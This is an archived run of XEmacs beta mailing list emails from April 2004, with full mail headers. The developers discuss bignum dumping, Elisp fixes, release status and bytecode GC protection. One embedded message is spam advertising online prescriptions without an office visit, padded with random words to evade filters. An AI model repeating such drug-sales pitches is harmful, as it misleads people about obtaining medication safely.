charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , It's about time we changed that subject line, isn't it? :-) Olivier Galibert wrote: > (* 1000 1000 1000 1000) > 1000000000000 > > Ok, looks like I have a functional bignum-enabled xemacs. I've never > really looked at the lisp half of dumping any more than I needed to > though, so do you have an easy way to make xemacs try to dump such a > number (and fail, of course)? Yes. Undo my last change to cl.el. The old definition of cl-random-time involves a bunch of multiplications that used to just overflow and produce a valid fixnum. Now I have to truncate it back to a fixnum because of the dumping problem. In short, replace (defun cl-random-time () (let* ((time (copy-sequence (current-time-string))) (i (length time)) (v 0)) (while (>= (decf i) 0) (setq v (+ (* v 3) (aref time i)))) (if (featurep 'number-types) (coerce-number v 'fixnum) v))) with (defun cl-random-time () (let* ((time (copy-sequence (current-time-string))) (i (length time)) (v 0)) (while (>= (decf i) 0) (setq v (+ (* v 3) (aref time i)))) v)) -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 15 19:02:19 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FN2Is15242; Thu, 15 Apr 2004 19:02:18 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FN1Ph14819 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 19:01:25 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FN1O814807 for turnbull@tux.org; Thu, 15 Apr 2004 19:01:24 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3FN1Ns14797 for ; Thu, 15 Apr 2004 19:01:23 -0400 Received: (qmail 16816 invoked from network); 16 Apr 2004 01:01:18 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 16 Apr 2004 01:01:18 +0200 Received: (qmail 27259 invoked from network); 16 Apr 2004 01:01:18 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 16 Apr 2004 01:01:18 +0200 To: Olivier Galibert Cc: Jerry James , XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> <20040415221831.GA7774@dspnet.fr.eu.org> From: Hrvoje Niksic Date: Fri, 16 Apr 2004 01:02:47 +0200 In-Reply-To: <20040415221831.GA7774@dspnet.fr.eu.org> (Olivier Galibert's message of "Fri, 16 Apr 2004 00:18:31 +0200") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert writes: > (* 1000 1000 1000 1000) > 1000000000000 > > Ok, looks like I have a functional bignum-enabled xemacs. I've > never really looked at the lisp half of dumping any more than I > needed to though, so do you have an easy way to make xemacs try to > dump such a number (and fail, of course)? A quick one: add something like (defvar blah 1000000000000000000000000000000000000000000000) to simple.el or to another Lisp file that you know is dumped. From xemacs-beta-admin@xemacs.org Thu Apr 15 20:14:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G0E4s18986; Thu, 15 Apr 2004 20:14:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G0DOa18693 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 20:13:24 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G0DNt18681 for turnbull@tux.org; Thu, 15 Apr 2004 20:13:23 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G0DLs18657; Thu, 15 Apr 2004 20:13:21 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id BCA8034F66; Fri, 16 Apr 2004 02:13:20 +0200 (CEST) Date: Fri, 16 Apr 2004 02:13:20 +0200 From: Olivier Galibert To: Jerry James Cc: XEmacs beta Subject: Re: Dumping bignums Message-ID: <20040416001320.GA15026@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , Jerry James , XEmacs beta References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> <20040415221831.GA7774@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Thu, Apr 15, 2004 at 05:59:51PM -0500, Jerry James wrote: > Olivier Galibert wrote: > > (* 1000 1000 1000 1000) > > 1000000000000 > > > > Ok, looks like I have a functional bignum-enabled xemacs. I've never > > really looked at the lisp half of dumping any more than I needed to > > though, so do you have an easy way to make xemacs try to dump such a > > number (and fail, of course)? > > Yes. Undo my last change to cl.el. I'd rather go with Hvroje's suggestion, makes it easier to test if the readback is decent. I've just seen: DEFUN ("odd", Foddp, 1, 1, 0, /* Should be "oddp", shouldn't it? OG. From lmhoo@lorettosystem.org Thu Apr 15 21:53:02 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G1qus04601 for ; Thu, 15 Apr 2004 21:53:02 -0400 Received: from dyn216-8-132-238.ADSL.mnsi.net (dyn216-8-132-238.adsl.mnsi.net [216.8.132.238]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i3G1qrrq022839 for ; Fri, 16 Apr 2004 03:52:54 +0200 From: "Trent Ruiz" To: Date: Fri, 16 Apr 2004 03:48:48 +0100 Message-Id: Mime-Version: 1.0 X-Sent-Mail: on Reply-To: lmhoo@lorettosystem.org X-Mailer: MailCity Service X-Priority: 3 Subject: Get Any Pills. Our Doctors Write Prescriptions. Overnight FedEx. Secure. Discreet X-Sender-IP: 233.81.108.84 Organization: Lycos Mail (http://www.mail.lycos.com:80) Content-Type: multipart/alternative; boundary="=_-=_-EFCYZUMZMTGAAAA" Content-Transfer-Encoding: 7bit X-Spam-Flag: YES X-Spam-Status: Yes, hits=8.4 required=5.0 tests=BAYES_99,BIZ_TLD, HTML_FONTCOLOR_UNSAFE,HTML_MESSAGE,RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com --=_-=_-EFCYZUMZMTGAAAA Content-Type: text/html; Content-Transfer-Encoding: 7Bit

Hello,

Did you know that you can conveniently and comfortably connect with our Doctors and Pharmacists through the Internet?

You'll have your prescriptions written and your medications prescribed quickly and easily from the comfort of your own computer.

You'll save money because you aren't subject to a high fee, common with a normal office visit - your questionnaire is done online - not in a Doctor's office.

Start placing your order for meds here

Ptardy mobster instruct gregg seminal tularemia !!! Zpoem interpretive contemplate babyhood bolton sst private mulch indissoluble alderman excise freewheel enormous abalone perturb shannon carlton defunct ketone meier . Yeditorial pr squibb normalcy stevens challenge eventual crewmen mohammedan average occlude arcane astral bravery populism lexington speak repulsive myocardium acetone effaceable apologetic mumble remorse dirichlet ellipsometer antiphonal and Jbp chapel lightweight gelatine analeptic ! Tblaine sept pavanne stamp wane diatom specie afterward magnum silversmith demonic faustus anglo !! Phoneybee magma coconut differential dine albright charlie buzz cub octagon promethium promptitude elephantine clytemnestra latch jitterbug griddle fingerprint tic telepathic leo o'connell fomalhaut affluence german curve consolation spunk administrable bird ancillary advisor soiree imagen fume sluice triode conferee cochran psy! chotic bodleian dragonfly middleman champion mare quandary sears

If this notice has reached you in error, please notify us by clicking here --=_-=_-EFCYZUMZMTGAAAA-- From xemacs-beta-admin@xemacs.org Thu Apr 15 22:02:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G226s09137; Thu, 15 Apr 2004 22:02:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G215G08769 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 22:01:05 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G212S08737 for turnbull@tux.org; Thu, 15 Apr 2004 22:01:02 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G211s08728 for ; Thu, 15 Apr 2004 22:01:01 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3G20lDu018212; Thu, 15 Apr 2004 21:00:47 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3G20lHS014998; Thu, 15 Apr 2004 21:00:47 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3G20l09014996; Thu, 15 Apr 2004 21:00:47 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Olivier Galibert Cc: XEmacs Beta Subject: Re: Dumping bignums References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> <20040415221831.GA7774@dspnet.fr.eu.org> <20040416001320.GA15026@dspnet.fr.eu.org> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 15 Apr 2004 21:00:46 -0500 In-Reply-To: <20040416001320.GA15026@dspnet.fr.eu.org> (Olivier Galibert's message of "Fri, 16 Apr 2004 02:13:20 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert wrote: > On Thu, Apr 15, 2004 at 05:59:51PM -0500, Jerry James wrote: > I'd rather go with Hvroje's suggestion, makes it easier to test if the > readback is decent. Good point. > I've just seen: > DEFUN ("odd", Foddp, 1, 1, 0, /* > > Should be "oddp", shouldn't it? That reads suspiciously like a suggestion that I'm not perfect. :-) Thanks for spotting that. I'll patch it momentarily. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 15 23:25:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G3P2s17071; Thu, 15 Apr 2004 23:25:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G3O3T16559 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 23:24:03 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G3O0j16527 for turnbull@tux.org; Thu, 15 Apr 2004 23:24:00 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G3Nws16507; Thu, 15 Apr 2004 23:23:58 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BEJxM-0004Qa-00; Fri, 16 Apr 2004 12:23:56 +0900 To: Jerry James Cc: XEmacs Beta Subject: [OT:SAC subject] Dumping bignum data [was: Dumping bignums] References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> <20040415221831.GA7774@dspnet.fr.eu.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 16 Apr 2004 12:23:56 +0900 In-Reply-To: (Jerry James's message of "Thu, 15 Apr 2004 17:59:51 -0500") Message-ID: <874qrk4ncj.fsf_-_@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL,LINES_OF_YELLING autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , SUPERSEDES APPROVE COMMIT :-) >>>>> "Jerry" == Jerry James writes: Jerry> It's about time we changed that subject line, isn't it? :-) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 15 23:47:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G3l1s29898; Thu, 15 Apr 2004 23:47:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G3kpB29804 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 23:46:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G3ko829791 for turnbull@tux.org; Thu, 15 Apr 2004 23:46:50 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G3kns29774 for ; Thu, 15 Apr 2004 23:46:49 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BEKIz-0004TW-00; Fri, 16 Apr 2004 12:46:17 +0900 To: Olivier Galibert Cc: XEmacs beta Subject: Re: What's the status on the versions now ? References: <20040415103823.GA43965@dspnet.fr.eu.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 16 Apr 2004 12:46:17 +0900 In-Reply-To: <20040415103823.GA43965@dspnet.fr.eu.org> (Olivier Galibert's message of "Thu, 15 Apr 2004 12:38:23 +0200") Message-ID: <87zn9c37qu.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "OG" == Olivier Galibert writes: OG> 21.4 vs. 21.5, which one should I use and/or work on (I need OG> to make amharic support work again) ? I hope you will work on 21.5 ;-) but 21.5's Mule still is quite incomplete. There's a bug in the --without-mule build that presumably arose when Ben unified all the file-coding stuff, shows up when running tests/automated/c-tests.el. Corner case (auto-decoding an opaque or something like that) so it has never been seen in the wild that I know of. More important, the new detection scheme default configuration hasn't been tuned at all yet, so by default things are pretty awful if you're working in a multilingual context. General code base instability -- you know about bignums, KKCC work is proceeding (although I don't think that KKCC has caused a crash in many months), there's a patch for Xft/font antialiasing that got postponed due to my pigheadedness (sorry, guys!) but probably should have been postponed because it did cause crashes with Japanese and didn't work at all with Japanese, and the GTK crowd is livening up, which should impact all window systems IMHO because I agree with Ben, we should abstract those GUI APIs more. (That last is not Board policy, it's my guess that it has a good chance of becoming policy, though, even if Ben doesn't reactivate soon.) Known bugs, a few, but not terribly harmful if you're a developer type. The big issues are all stuff that "just isn't done yet." HTH -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 15 23:56:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G3u1s02269; Thu, 15 Apr 2004 23:56:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G3tsA02221 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 23:55:54 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G3tqJ02187 for turnbull@tux.org; Thu, 15 Apr 2004 23:55:52 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G3tjs02145; Thu, 15 Apr 2004 23:55:45 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BEKS8-0004Wb-00; Fri, 16 Apr 2004 12:55:44 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: Bytecode stack manipulations for weak objects References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 16 Apr 2004 12:55:44 +0900 In-Reply-To: (Jerry James's message of "Thu, 15 Apr 2004 12:11:15 -0500") Message-ID: <87vfk037b3.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , [Aside: In theory, this probably would better be posted to XEmacs Design. However, that list (like XEmacs NT) has fallen into disuse. Maybe we should get rid of them?] >>>>> "Jerry" == Jerry James writes: Jerry> Last fall there were a number of crashes induced by Gnus Jerry> with a patch in place that adjusted the GC protection on Jerry> the bytecode stack. As I recall, the intent was to stop Jerry> protecting weak objects on the stack as soon as possible so Jerry> that they could be garbage collected. The patch apparently Jerry> let some object(s) get collected too soon, while references Jerry> still existed. Correct. Jerry> What is the status of that patch? Was the problem Jerry> completely resolved, or do we just have a workaround in Jerry> place? The problem is resolved, if you take the dictum "there's no such thing as too much GCPROing" seriously. What we do is adjust the GCPRO coverage once every time the bytecode interpreter loops. This could be optimized to only do it when necessary (ie, only for bytecodes that can call generic Lisp), and probably should be, since the bytecode interpreter is none too fast as it is. Jerry> Failing that, can you think of any other XEmacs bugs that Jerry> look very difficult to track down by hand, but might Jerry> benefit from this kind of data recording and analysis? Does that question mean you've fixed the XtReleaseGC bug already? ;-) Seriously, anything that has to do with the event loop could probably use a facility like this. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 16 03:21:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G7L2s31636; Fri, 16 Apr 2004 03:21:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G7KYD31465 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 03:20:34 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3G7KXS31451 for turnbull@tux.org; Fri, 16 Apr 2004 03:20:33 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3G7KXs31446 for ; Fri, 16 Apr 2004 03:20:33 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 6EC3A34F24; Fri, 16 Apr 2004 09:20:32 +0200 (CEST) Date: Fri, 16 Apr 2004 09:20:32 +0200 From: Olivier Galibert To: XEmacs beta Subject: Re: What's the status on the versions now ? Message-ID: <20040416072032.GA35727@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs beta References: <20040415103823.GA43965@dspnet.fr.eu.org> <87zn9c37qu.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87zn9c37qu.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Fri, Apr 16, 2004 at 12:46:17PM +0900, Stephen J. Turnbull wrote: >[...] and the GTK crowd is livening up, > which should impact all window systems IMHO because I agree with Ben, > we should abstract those GUI APIs more. Just to add a datapoint in there, gtk 2.2 and upper has multi-display capability. OG. From xemacs-beta-admin@xemacs.org Fri Apr 16 08:31:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GCV4s29007; Fri, 16 Apr 2004 08:31:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GCU5w27570 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 08:30:06 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GCU4k27537 for turnbull@tux.org; Fri, 16 Apr 2004 08:30:04 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GCU2s27503 for ; Fri, 16 Apr 2004 08:30:03 -0400 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3GCMrJ1027042; Fri, 16 Apr 2004 22:22:53 +1000 Mail-Copies-To: never To: XEmacs beta Subject: Re: Bytecode stack manipulations for weak objects Keywords: patch,gnus,autumn References: From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: I'll show you MY telex number if you show me YOURS... X-X-Day: Only 2431500 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Sweetmorn, the 33rd day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta Date: Fri, 16 Apr 2004 22:22:50 +1000 In-Reply-To: (Jerry James's message of "Thu, 15 Apr 2004 12:11:15 -0500") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= Content-Transfer-Encoding: quoted-printable * Jerry James writes: > Last fall=20 Help me out here, Jerry, what does that mean? I know that by "fall" you really meant to say "autumn", but even that knowledge doesn't help me. I have absolutely no idea when your autumn is. I couldn't even tell you when _my_ autumn is. Can you give me a date, or range of dates? Something like: "somewhere around Feb-Apr last year" would be cool. > there were a number of crashes induced by Gnus with a patch in > place A patch, cool! How about the URL to the patch submission on xemacs-patches? Or the bug report? > What is the status of that patch? Was the problem completely > resolved, or do we just have a workaround in place? From=20the Gnus side of things, until I can pinpoint what you are talking about the answer is a definite I wouldn't have the foggiest. What I will say is that it has been a _very_ long time since I have seen a Gnus induced crash. =2D-=20 |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkB/0B0ACgkQHSfbS6lLMAOCjgCgjGJVBkPfOu0k1BGxMebe9P41 uK4AniM01eeZPm+TSMh9/sdQKU4M271S =2xgl -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Fri Apr 16 09:37:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GDb3s25330; Fri, 16 Apr 2004 09:37:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GDaVm24672 for xemacs-beta-mailman@xemacs.org; Fri, 16 Apr 2004 09:36:31 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3GDaUW24645 for turnbull@tux.org; Fri, 16 Apr 2004 09:36:30 -0400 Received: from mail004.syd.optusnet.com.au (mail004.syd.optusnet.com.au [211.29.132.145]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3GDaTs24621 for ; Fri, 16 Apr 2004 09:36:29 -0400 Received: from c18072.rivrw2.nsw.optusnet.com.au (c211-30-201-5.rivrw2.nsw.optusnet.com.au [211.30.201.5]) by mail004.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3GDaMY03681 for ; Fri, 16 Apr 2004 23:36:22 +1000 To: xemacs-beta@xemacs.org Subject: Re: Apparent configure ordering problem with GTK build References: <87d66a6eyw.fsf@tleepslib.sk.tsukuba.ac.jp> <87r7up4t87.fsf@tleepslib.sk.tsukuba.ac.jp> From: Malcolm Purvis X-Face: "t>8w.Nd-q:ml[PuI`{tr%l5Y~,sBj?fR1G.q`GM6)3RK+ll4EOE_1Goun~_6nt.5q,rU]` 